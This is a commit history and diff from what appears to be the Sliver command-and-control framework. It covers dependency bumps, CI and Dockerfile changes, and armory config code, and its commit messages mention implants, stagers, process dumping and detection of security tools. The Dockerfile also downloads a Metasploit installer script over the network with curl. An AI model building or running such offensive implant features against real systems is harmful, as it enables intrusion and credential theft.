Compare commits

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Author SHA1 Message Date
moloch-- 4eab1b582a Correct comment 2024-04-29 21:03:24 -07:00
moloch-- f78db1a825 Remove docker platform specification 2024-04-29 20:58:28 -07:00
Joe eb61740f5d Merge pull request #1653 from BishopFox/tests/zig-updates
Expand unit tests for better arm64 coverage
2024-04-29 20:32:16 -07:00
moloch-- 39d0f3b838 Expand unit tests for better arm64 coverage 2024-04-29 19:13:48 -07:00
Joe 8f084c99a4 Merge pull request #1651 from BishopFox/3139dependabot/go_modules/golang.org/x/net-0.24.0
Bump golang.org/x/net from 0.23.0 to 0.24.0
2024-04-29 17:36:46 -07:00
dependabot[bot] 87720d8a41 Bump golang.org/x/net from 0.23.0 to 0.24.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.23.0 to 0.24.0.
- [Commits](https://github.com/golang/net/compare/v0.23.0...v0.24.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-29 23:51:46 +00:00
Joe f8dd5230c1 Merge pull request #1652 from BishopFox/zig
Embedded Zig Cross-Compiler
2024-04-29 16:50:21 -07:00
moloch-- 9296a8abce Remove mingw env vars from unit test workflow 2024-04-29 16:10:01 -07:00
moloch-- abc8747a51 Remove mingw from docker, cleanup util 2024-04-29 15:41:40 -07:00
moloch-- dcbfe10bc4 Cleanup commands 2024-04-29 14:51:08 -07:00
moloch-- 4336f933e0 Unit tests passing 2024-04-29 14:42:37 -07:00
moloch-- 6a4521a4b0 Add zig as default cc/cxx except for macos, add cc/cxx to server config 2024-04-29 13:46:19 -07:00
moloch-- bf80f8f7e6 Fix unobfuscated builds 2024-04-29 09:16:01 -07:00
Joe 174455cbcc Merge pull request #1648 from BishopFox/go/v1.22.2
Go 1.22.2
2024-04-29 09:07:32 -07:00
moloch-- 09564cf241 Added more tar validation 2024-04-28 22:41:53 -07:00
moloch-- 03fa4029d3 Add zig to go-assets script 2024-04-28 22:34:49 -07:00
moloch-- b33e012f2a Basic zig cc implementation 2024-04-28 21:19:41 -07:00
moloch-- 98f13030f9 Go 1.22.2 2024-04-28 20:00:32 -07:00
Joe 040863b757 Merge pull request #1645 from BishopFox/fix/dnspb
Tweak builder
2024-04-26 09:29:49 -07:00
Joe 1624c84eb6 Merge branch 'master' into fix/dnspb
Signed-off-by: Joe <[email protected]>
2024-04-24 15:23:23 -07:00
Joe 44368b26ad Merge pull request #1644 from BishopFox/fix/sideload-spaces
Fix bug in `sideload`, `execute-assembly` and `spawndll`` where spaces were removed in command line arguments
2024-04-24 15:22:37 -07:00
moloch-- 0eb93d51c0 Tweak builder pb 2024-04-24 16:52:58 -05:00
Ronan Kervella c7cd14eae2 Merge pull request #1627 from BishopFox/54b2dependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.5.8
Bump github.com/jedib0t/go-pretty/v6 from 6.4.6 to 6.5.8
2024-04-23 15:19:25 -07:00
Ronan Kervella 9c9caba8d8 Merge branch 'master' into fix/sideload-spaces 2024-04-23 11:53:50 -07:00
rkervella 4b6219d860 Fix #1598 2024-04-23 11:49:54 -07:00
Ronan Kervella a47aeb7e73 Merge pull request #1643 from BishopFox/remove-prelude
Remove prelude operator support
2024-04-23 11:49:29 -07:00
Ronan Kervella d3255ec7bb Merge branch 'master' into remove-prelude 2024-04-23 11:02:49 -07:00
Ronan Kervella 4c0e6cb585 Merge branch 'master' into 54b2dependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.5.8 2024-04-23 10:49:03 -07:00
Ronan Kervella 88e35469b8 Merge pull request #1630 from BishopFox/8c63dependabot/go_modules/github.com/klauspost/compress-1.17.8
Bump github.com/klauspost/compress from 1.17.0 to 1.17.8
2024-04-23 10:48:49 -07:00
Ronan Kervella cd711c1e2f Merge branch 'master' into 54b2dependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.5.8 2024-04-23 10:15:22 -07:00
rkervella 723eca2ddd Remove prelude operator support 2024-04-23 10:14:37 -07:00
Ronan Kervella 0b2e0fa9bc Merge branch 'master' into 8c63dependabot/go_modules/github.com/klauspost/compress-1.17.8 2024-04-23 09:49:42 -07:00
Joe 9135afd201 Merge pull request #1639 from BishopFox/4cd6dependabot/go_modules/golang.org/x/net-0.23.0
Bump golang.org/x/net from 0.21.0 to 0.23.0
2024-04-23 09:31:14 -07:00
Joe b3a9ba86e1 Merge pull request #1566 from BishopFox/ff34dependabot/github_actions/actions/cache-4
Bump actions/cache from 3 to 4
2024-04-23 09:23:12 -07:00
Ronan Kervella 2211b13c31 Merge branch 'master' into 4cd6dependabot/go_modules/golang.org/x/net-0.23.0 2024-04-23 08:33:04 -07:00
Ronan Kervella 187394439e Merge branch 'master' into 54b2dependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.5.8 2024-04-23 08:32:47 -07:00
Ronan Kervella 3b767baca3 Merge branch 'master' into 8c63dependabot/go_modules/github.com/klauspost/compress-1.17.8 2024-04-23 08:32:11 -07:00
Ronan Kervella c1070f917f Merge pull request #1637 from C-Sto/bugfix-windowsuseragent
fix useragent variable in implant generation
2024-04-23 08:31:48 -07:00
Ronan Kervella 5487df2000 Merge branch 'master' into bugfix-windowsuseragent 2024-04-22 15:08:50 -07:00
Ronan Kervella 97497c9f78 Merge pull request #1562 from BishopFox/v1.6.0/fix-procdump
Fix procdump (bis)
2024-04-22 15:08:35 -07:00
Ronan Kervella ee36676ba2 Merge branch 'master' into 4cd6dependabot/go_modules/golang.org/x/net-0.23.0 2024-04-22 13:06:01 -07:00
rkervella 6809d81b66 Merge branch 'v1.6.0/fix-procdump' of bishopfox.github.com:BishopFox/sliver into v1.6.0/fix-procdump 2024-04-22 13:01:57 -07:00
rkervella 6b876b0a0e Fix procdump, use a sync.Map instead of a shared
byte slice.
2024-04-22 13:01:39 -07:00
Ronan Kervella 33ab6096f1 Merge branch 'master' into bugfix-windowsuseragent 2024-04-22 11:10:06 -07:00
Ronan Kervella 0a6636fb71 Merge branch 'master' into v1.6.0/fix-procdump 2024-04-22 11:09:48 -07:00
Ronan Kervella 6a30b8a99a Merge pull request #1634 from C-Sto/bugfix-execwindows
check session mode correctly in windows exec
2024-04-22 11:09:38 -07:00
Ronan Kervella a3c353baf7 Merge branch 'master' into bugfix-execwindows 2024-04-19 11:40:30 -07:00
Ronan Kervella 5e992e073e Merge pull request #1635 from C-Sto/bugfix-overwrite
add overwrite flag back into upload cmd
2024-04-19 10:47:42 -07:00
rkervella 12d2569c2f Merge branch 'master' into v1.6.0/fix-procdump 2024-04-19 10:16:27 -07:00
Ronan Kervella 1abda712c4 Merge branch 'master' into 4cd6dependabot/go_modules/golang.org/x/net-0.23.0 2024-04-19 10:10:43 -07:00
Ronan Kervella 6dc49f5074 Merge branch 'master' into bugfix-windowsuseragent 2024-04-19 10:09:27 -07:00
Ronan Kervella 2eff697a50 Merge branch 'master' into bugfix-execwindows 2024-04-19 10:07:06 -07:00
Ronan Kervella 143246a9fc Merge branch 'master' into 54b2dependabot/go_modules/github.com/jedib0t/go-pretty/v6-6.5.8 2024-04-19 10:06:52 -07:00
Ronan Kervella ab80379e5e Merge branch 'master' into bugfix-overwrite 2024-04-19 09:47:31 -07:00
Ronan Kervella d8e400f005 Merge pull request #1636 from C-Sto/bugfix-infosession
add session command back to implant context
2024-04-19 09:47:21 -07:00
dependabot[bot] a4cc570845 Bump golang.org/x/net from 0.21.0 to 0.23.0
Bumps [golang.org/x/net](https://github.com/golang/net) from 0.21.0 to 0.23.0.
- [Commits](https://github.com/golang/net/compare/v0.21.0...v0.23.0)

---
updated-dependencies:
- dependency-name: golang.org/x/net
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-19 13:16:44 +00:00
Ronan Kervella 0072335cc0 Merge branch 'master' into bugfix-infosession 2024-04-18 10:55:14 -07:00
Ronan Kervella 6bccd35318 Merge pull request #1633 from BishopFox/v1.6.0/private-armories
Support for Self-Hosted Armories and Armory Fixes
2024-04-18 10:54:59 -07:00
Ronan Kervella f37bed31c0 Merge branch 'master' into v1.6.0/private-armories 2024-04-18 10:26:33 -07:00
Ronan Kervella dac592d231 Merge branch 'master' into bugfix-infosession 2024-04-18 08:36:00 -07:00
Ronan Kervella f98ae8e7fe Merge pull request #1638 from C-Sto/feature-extensionsident
use filehash for extension ref instead of command name
2024-04-18 08:35:45 -07:00
Raf 026c1d6ef6 Merge branch 'v1.6.0/private-armories' of ssh://github.com/BishopFox/sliver into v1.6.0/private-armories 2024-04-18 09:44:30 -04:00
Raf 4b982f422f Adding armory choice to install and update commands 2024-04-18 09:44:13 -04:00
dependabot[bot] c2f5460c63 Bump github.com/fatih/color from 1.15.0 to 1.16.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.15.0 to 1.16.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.15.0...v1.16.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-18 09:44:13 -04:00
Tim Makram Ghatas 214143e9d9 add export command for c2 profiles 2024-04-18 09:44:13 -04:00
Tim Makram Ghatas 2607a021d8 re-add deleted commands from bad merge 2024-04-18 09:44:13 -04:00
dependabot[bot] e474dc452f Bump actions/configure-pages from 4 to 5
Bumps [actions/configure-pages](https://github.com/actions/configure-pages) from 4 to 5.
- [Release notes](https://github.com/actions/configure-pages/releases)
- [Commits](https://github.com/actions/configure-pages/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/configure-pages
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-18 09:44:13 -04:00
Raf c28e8e1e0f Add nosave option to armory add, armory modify 2024-04-18 09:44:13 -04:00
Raf 7b2822795c Add nosave option to armory add, armory modify 2024-04-18 09:44:13 -04:00
Raf cc5f162848 Added armory reset command 2024-04-18 09:44:13 -04:00
Raf 83b6bf9147 armory update range processing fixes 2024-04-18 09:44:13 -04:00
Raf 79202297df Limit concurrent requests to armories
Addresses #1401

Placing a limit of 10 concurrent requests for fetching resources
(indexes, package signatures) from armories. Also checking for a nil
response when downloading from GitHub to prevent a panic.
2024-04-18 09:44:13 -04:00
Raf cd4e967cd9 Changes to the package update process
armory update now prints a table of updates and allows the user to choose the updates they want to perform.
Refined dependency resolution so that it considers packages that are
pending install
Re-did the fix for the client continuously asking to overwrite packages
when installing bundles
Added a force option to the install command
2024-04-18 09:44:13 -04:00
Raf ea901f5442 Fixing a potential nil pointer dereference 2024-04-18 09:44:13 -04:00
Raf a5cd0d0cae Ensured cache consistency on index changes
If a package is deleted from the index, the cache was not subsequently
updated.
2024-04-18 09:44:13 -04:00
Raf e9930d01fd Initial support for self-hosted armories
Changes that allow for multiple armories, including commands for
managing armories, dependency resolution, and deconfliction.

There is still more work to be done, including refactoring,
simplification, and getting rid of bugs.
2024-04-18 09:44:13 -04:00
rkervella f83131ef43 Fix hang when calling generate stager 2024-04-18 09:44:13 -04:00
dependabot[bot] 73d5c3192d Bump golang.org/x/crypto from 0.17.0 to 0.21.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.17.0 to 0.21.0.
- [Commits](https://github.com/golang/crypto/compare/v0.17.0...v0.21.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-18 09:44:13 -04:00
dependabot[bot] 076db57bba Bump google.golang.org/protobuf from 1.31.0 to 1.33.0
Bumps google.golang.org/protobuf from 1.31.0 to 1.33.0.

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-18 09:44:13 -04:00
dependabot[bot] db85a76c85 Bump github.com/jackc/pgx/v5 from 5.3.1 to 5.5.4
Bumps [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) from 5.3.1 to 5.5.4.
- [Changelog](https://github.com/jackc/pgx/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jackc/pgx/compare/v5.3.1...v5.5.4)

---
updated-dependencies:
- dependency-name: github.com/jackc/pgx/v5
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-18 09:44:13 -04:00
Andrew Klaus 662c1c1e18 Adding namespace support to Linux ifconfig 2024-04-18 09:44:13 -04:00
Andrew Klaus 5634b09921 Testing fix for Windows implant 2024-04-18 09:44:13 -04:00
Andrew Klaus f8c8cdfe31 Updating protobufs 2024-04-18 09:44:13 -04:00
Andrew Klaus cabe48e997 Adding linux mount command 2024-04-18 09:44:13 -04:00
Raf cabb1b09cc Adding the mount command and the implementation for Windows implants 2024-04-18 09:44:13 -04:00
moloch-- 3bb667f814 Remove prelude operator support, since product is discontinued 2024-04-18 09:44:13 -04:00
moloch-- 6cb1ffbe4e Go 1.22.1 2024-04-18 09:44:13 -04:00
moloch-- dba5ba5767 Fix link in docs 2024-04-18 09:44:13 -04:00
moloch-- 65a7730bf4 Fix link in docs 2024-04-18 09:44:13 -04:00
xl4sh e17c363381 Fix using duplicated envelope id bug 2024-04-18 09:44:13 -04:00
gatari 454ffd7bcd Update make-token.go
Signed-off-by: gatari <[email protected]>
2024-04-18 09:44:13 -04:00
kmathisbf be75b1557c Add elastic binaries to knownSecurityTools 2024-04-18 09:44:12 -04:00
Raf d12d2fb792 Adding armory choice to install and update commands 2024-04-18 09:43:03 -04:00
Ronan Kervella 4debb053bd Merge branch 'master' into v1.6.0/private-armories 2024-04-17 19:07:41 -07:00
C-Sto d45a62867f use filehash for extension ref instead of command name 2024-04-18 09:05:17 +08:00
C-Sto 32c7e02f09 fix useragent variable 2024-04-18 08:56:49 +08:00
C-Sto e0ba712631 add session command back to implant context 2024-04-18 08:52:54 +08:00
C-Sto fd17c4ed20 add overwrite flag back into upload cmd 2024-04-18 08:50:13 +08:00
C-Sto 76eb06e6b9 check session mode correctly in windows exec 2024-04-18 08:46:02 +08:00
dependabot[bot] 7a7f169e0a Bump github.com/jedib0t/go-pretty/v6 from 6.4.6 to 6.5.8
Bumps [github.com/jedib0t/go-pretty/v6](https://github.com/jedib0t/go-pretty) from 6.4.6 to 6.5.8.
- [Release notes](https://github.com/jedib0t/go-pretty/releases)
- [Commits](https://github.com/jedib0t/go-pretty/compare/v6.4.6...v6.5.8)

---
updated-dependencies:
- dependency-name: github.com/jedib0t/go-pretty/v6
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-17 16:16:28 +00:00
Ronan Kervella 61090be973 Merge branch 'master' into ff34dependabot/github_actions/actions/cache-4 2024-04-17 09:16:18 -07:00
dependabot[bot] a0360fac17 Bump github.com/klauspost/compress from 1.17.0 to 1.17.8
Bumps [github.com/klauspost/compress](https://github.com/klauspost/compress) from 1.17.0 to 1.17.8.
- [Release notes](https://github.com/klauspost/compress/releases)
- [Changelog](https://github.com/klauspost/compress/blob/master/.goreleaser.yml)
- [Commits](https://github.com/klauspost/compress/compare/v1.17.0...v1.17.8)

---
updated-dependencies:
- dependency-name: github.com/klauspost/compress
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-17 16:15:43 +00:00
Ronan Kervella 61210acff0 Merge pull request #1621 from BishopFox/9192dependabot/go_modules/github.com/fatih/color-1.16.0
Bump github.com/fatih/color from 1.15.0 to 1.16.0
2024-04-17 09:14:17 -07:00
Ronan Kervella eca785a99a Merge branch 'master' into v1.6.0/private-armories 2024-04-17 08:46:48 -07:00
Raf 0b9442d2b8 Add nosave option to armory add, armory modify 2024-04-17 11:42:05 -04:00
Raf b6a24b0ab2 Add nosave option to armory add, armory modify 2024-04-17 11:39:21 -04:00
Raf 9f43f73350 Added armory reset command 2024-04-17 11:29:23 -04:00
Ronan Kervella d6ccb0044c Merge branch 'master' into 9192dependabot/go_modules/github.com/fatih/color-1.16.0 2024-04-17 08:25:31 -07:00
Raf 5d13415770 armory update range processing fixes 2024-04-17 10:56:22 -04:00
Raf f4c72d5216 Limit concurrent requests to armories
Addresses #1401

Placing a limit of 10 concurrent requests for fetching resources
(indexes, package signatures) from armories. Also checking for a nil
response when downloading from GitHub to prevent a panic.
2024-04-04 08:36:21 -04:00
Joe bb28d796a4 Merge pull request #1623 from BishopFox/export_c2profiles
add export command for c2 profiles
2024-04-02 15:04:01 -07:00
Tim Makram Ghatas f0b078bcd1 add export command for c2 profiles 2024-04-02 22:28:47 +02:00
Raf e926f1b954 Changes to the package update process
armory update now prints a table of updates and allows the user to choose the updates they want to perform.
Refined dependency resolution so that it considers packages that are
pending install
Re-did the fix for the client continuously asking to overwrite packages
when installing bundles
Added a force option to the install command
2024-04-02 13:20:07 -04:00
Ronan Kervella 9f4988e12a Merge pull request #1622 from BishopFox/bugfix_merge_issue
re-add deleted commands from bad merge for c2profiles and implant staging
2024-04-02 10:11:07 -07:00
Tim Makram Ghatas 124c12bebd re-add deleted commands from bad merge 2024-04-02 18:06:18 +02:00
Raf 84acde7db0 Fixing a potential nil pointer dereference 2024-04-01 11:24:20 -04:00
Joe 142bf83ffd Merge pull request #1620 from BishopFox/77cedependabot/github_actions/actions/configure-pages-5
Bump actions/configure-pages from 4 to 5
2024-04-01 06:49:08 -07:00
dependabot[bot] 30587f6e8f Bump github.com/fatih/color from 1.15.0 to 1.16.0
Bumps [github.com/fatih/color](https://github.com/fatih/color) from 1.15.0 to 1.16.0.
- [Release notes](https://github.com/fatih/color/releases)
- [Commits](https://github.com/fatih/color/compare/v1.15.0...v1.16.0)

---
updated-dependencies:
- dependency-name: github.com/fatih/color
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-01 04:58:31 +00:00
dependabot[bot] b290474e5d Bump actions/configure-pages from 4 to 5
Bumps [actions/configure-pages](https://github.com/actions/configure-pages) from 4 to 5.
- [Release notes](https://github.com/actions/configure-pages/releases)
- [Commits](https://github.com/actions/configure-pages/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/configure-pages
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-04-01 03:28:25 +00:00
Raf de02d2fa6e Ensured cache consistency on index changes
If a package is deleted from the index, the cache was not subsequently
updated.
2024-03-29 10:24:56 -04:00
Raf b286aa979f Initial support for self-hosted armories
Changes that allow for multiple armories, including commands for
managing armories, dependency resolution, and deconfliction.

There is still more work to be done, including refactoring,
simplification, and getting rid of bugs.
2024-03-28 13:35:00 -04:00
Joe c18fc567a3 Merge pull request #1617 from BishopFox/fix-msf-stager
Fix hang when calling generate stager
2024-03-27 07:36:32 -07:00
rkervella 5bd1f4727c Fix hang when calling generate stager 2024-03-26 15:55:35 -07:00
Joe 619d4994da Merge pull request #1612 from BishopFox/c64bdependabot/go_modules/golang.org/x/crypto-0.21.0
Bump golang.org/x/crypto from 0.17.0 to 0.21.0
2024-03-26 06:55:33 -07:00
dependabot[bot] 1666d6f5ad Bump golang.org/x/crypto from 0.17.0 to 0.21.0
Bumps [golang.org/x/crypto](https://github.com/golang/crypto) from 0.17.0 to 0.21.0.
- [Commits](https://github.com/golang/crypto/compare/v0.17.0...v0.21.0)

---
updated-dependencies:
- dependency-name: golang.org/x/crypto
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-03-25 03:44:43 +00:00
Joe 6443aaba3d Merge pull request #1597 from BishopFox/48d6dependabot/go_modules/google.golang.org/protobuf-1.33.0
Bump google.golang.org/protobuf from 1.31.0 to 1.33.0
2024-03-19 10:21:19 -07:00
dependabot[bot] e14619fffc Bump google.golang.org/protobuf from 1.31.0 to 1.33.0
Bumps google.golang.org/protobuf from 1.31.0 to 1.33.0.

---
updated-dependencies:
- dependency-name: google.golang.org/protobuf
  dependency-type: direct:production
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-03-19 15:46:19 +00:00
Joe 07ec53e148 Merge pull request #1599 from BishopFox/88cbdependabot/go_modules/github.com/jackc/pgx/v5-5.5.4
Bump github.com/jackc/pgx/v5 from 5.3.1 to 5.5.4
2024-03-19 08:44:52 -07:00
dependabot[bot] 1c9d11f967 Bump github.com/jackc/pgx/v5 from 5.3.1 to 5.5.4
Bumps [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) from 5.3.1 to 5.5.4.
- [Changelog](https://github.com/jackc/pgx/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jackc/pgx/compare/v5.3.1...v5.5.4)

---
updated-dependencies:
- dependency-name: github.com/jackc/pgx/v5
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-03-14 22:01:41 +00:00
Ronan Kervella 2da1da7c40 Merge branch 'master' into v1.6.0/fix-procdump 2024-03-14 14:59:31 -07:00
Ronan Kervella 85b949a7df Merge pull request #1545 from precurse-bf/ifns
Adding Linux namespace support to ifconfig
2024-03-14 14:57:23 -07:00
Andrew Klaus 2c0d46278a Adding namespace support to Linux ifconfig 2024-03-14 12:01:25 -06:00
Ronan Kervella 74653968df Merge pull request #1596 from precurse-bf/mount_linux_rebase
Adding mount command for Windows and Linux
2024-03-14 09:44:16 -07:00
Andrew Klaus 49b55c7763 Testing fix for Windows implant 2024-03-14 10:07:24 -06:00
Ronan Kervella d02b38681c Merge branch 'master' into v1.6.0/fix-procdump 2024-03-13 15:23:54 -07:00
Andrew Klaus d625c8c2b7 Updating protobufs 2024-03-13 14:55:04 -06:00
Andrew Klaus 9f33e8103a Adding linux mount command 2024-03-13 14:55:04 -06:00
Raf abd375f501 Adding the mount command and the implementation for Windows implants 2024-03-13 14:24:19 -06:00
moloch-- 715c37addf Remove prelude operator support, since product is discontinued 2024-03-07 16:07:47 -08:00
Joe 754ce39076 Merge pull request #1592 from BishopFox/go/v1.22.1
Go 1.22.1
2024-03-07 16:47:15 -07:00
moloch-- 580f98419d Go 1.22.1 2024-03-07 15:10:30 -08:00
moloch-- c8a7948671 Fix link in docs 2024-02-29 10:14:02 -08:00
moloch-- 9da3112c04 Fix link in docs 2024-02-29 10:12:23 -08:00
Ronan Kervella 12ca498386 Merge pull request #1586 from xl4sh/fix/loopvar
Fix using duplicated envelope id bug
2024-02-29 08:33:38 -08:00
xl4sh 2f9c1857bb Fix using duplicated envelope id bug 2024-02-29 13:43:40 +09:00
Joe ac2ee6dfff Merge pull request #1585 from gatariee/master
Fix typo in `make-token` when no credentials are provided.
2024-02-27 07:54:34 -07:00
gatari bfde6a4dc8 Update make-token.go
Signed-off-by: gatari <[email protected]>
2024-02-27 21:06:50 +08:00
Ronan Kervella dc93d054a9 Merge pull request #1572 from BishopFox/v1.6.0/remove-legacy-DLL-extension-support
Removing support for legacy DLL extensions
2024-02-15 15:41:19 -08:00
Ronan Kervella 173366ba7d Merge branch 'master' into v1.6.0/remove-legacy-DLL-extension-support 2024-02-15 14:17:09 -08:00
Joe 4bfca79860 Merge pull request #1579 from BishopFox/ps_elastic
Add elastic binaries to knownSecurityTools
2024-02-06 17:06:50 -06:00
Raf 59b2996862 Removing support for legacy DLL extensions 2024-01-30 08:42:34 -05:00
Ronan Kervella 235c666b61 Merge branch 'master' into v1.6.0/fix-procdump 2024-01-24 10:35:01 -08:00
dependabot[bot] a7befbe8a6 Bump actions/cache from 3 to 4
Bumps [actions/cache](https://github.com/actions/cache) from 3 to 4.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <[email protected]>
2024-01-22 17:38:41 +00:00
rkervella 9baa1c0095 Merge branch 'v1.6.0/fix-procdump' of bishopfox.github.com:BishopFox/sliver into v1.6.0/fix-procdump 2024-01-18 14:07:35 -08:00
rkervella af27a2f0ec Update dump method. No more RtlCopyMemory and HeapAlloc. 2024-01-18 14:05:53 -08:00
Ronan Kervella 0c7cb4c566 Merge branch 'master' into v1.6.0/fix-procdump 2024-01-17 15:00:00 -08:00
rkervella bf3846ac30 Rework minidump callback. Ditch dynamic realloc and add a safety net buffer instead at initial allocation. 2024-01-17 14:56:47 -08:00
rkervella 33b21778d0 Update vendor 2024-01-17 11:29:53 -08:00
562 changed files with 25854 additions and 9533 deletions

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+2 -2
View File
@@ -42,10 +42,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 45
steps:
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: Check Out Code
uses: actions/checkout@v4
+2 -2
View File
@@ -16,10 +16,10 @@ jobs:
steps:
# Setup go environment
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: Checkout repository
uses: actions/checkout@v4
+2 -2
View File
@@ -63,10 +63,10 @@ jobs:
node-version: "lts/*"
- name: Setup Pages
uses: actions/configure-pages@v4
uses: actions/configure-pages@v5
- name: Restore cache
uses: actions/cache@v3
uses: actions/cache@v4
with:
path: |
.next/cache
+7 -11
View File
@@ -23,16 +23,15 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: OS Packages
run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
git build-essential zlib1g zlib1g-dev wget zip unzip
- name: Check Out Code
uses: actions/checkout@v4
@@ -57,10 +56,10 @@ jobs:
runs-on: macos-latest
timeout-minutes: 90
steps:
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: Mingw
run: brew install mingw-w64
@@ -75,9 +74,6 @@ jobs:
run: make macos-amd64
- name: Test MacOS (amd64)
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make MacOS (arm64)
@@ -88,10 +84,10 @@ jobs:
runs-on: ubuntu-latest
timeout-minutes: 90
steps:
- name: Go 1.21
- name: Go 1.22
uses: actions/setup-go@v5
with:
go-version: "^1.21"
go-version: "^1.22"
- name: Check Out Code
uses: actions/checkout@v4
+7 -12
View File
@@ -9,7 +9,7 @@
# STAGE: base
## Compiles Sliver for use
FROM --platform=linux/amd64 golang:1.21.4 as base
FROM golang:1.22.2 as base
### Base packages
RUN apt-get update --fix-missing && apt-get -y install \
@@ -29,12 +29,12 @@ RUN cp -vv sliver-server /opt/sliver-server
# STAGE: test
## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage
FROM --platform=linux/amd64 base as test
FROM base as test
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
curl
RUN /opt/sliver-server unpack --force
@@ -43,7 +43,7 @@ RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# STAGE: production
## Final dockerized form of Sliver
FROM --platform=linux/amd64 debian:bookworm-slim as production
FROM debian:bookworm-slim as production
### Install production packages
RUN apt-get update --fix-missing \
@@ -56,8 +56,7 @@ RUN apt-get update --fix-missing \
postgresql-contrib postgresql-client libpq-dev \
curl libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
nasm
### Install MSF for stager generation
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
@@ -92,15 +91,11 @@ ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller)
### Slim production image, i.e. without MSF and assoicated libraries
### Still include GCC and MinGW for cross-platform generation
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
FROM debian:bookworm-slim as production-slim
### Install production packages
RUN apt-get update --fix-missing \
&& apt-get -y upgrade \
&& apt-get -y install \
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
&& apt-get -y upgrade
### Cleanup unneeded packages
RUN apt-get autoremove -y \
+58 -19
View File
@@ -27,7 +27,8 @@ import (
)
const (
armoryConfigFileName = "armories.json"
ArmoryConfigFileName = "armories.json"
DefaultArmoryName = "Default"
)
var (
@@ -36,9 +37,11 @@ var (
// DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string
defaultArmoryConfig = &ArmoryConfig{
DefaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL,
Name: DefaultArmoryName,
Enabled: true,
}
)
@@ -48,29 +51,65 @@ type ArmoryConfig struct {
RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"`
Name string `json:"name"`
Enabled bool `json:"enabled"`
}
// GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{defaultArmoryConfig}
}
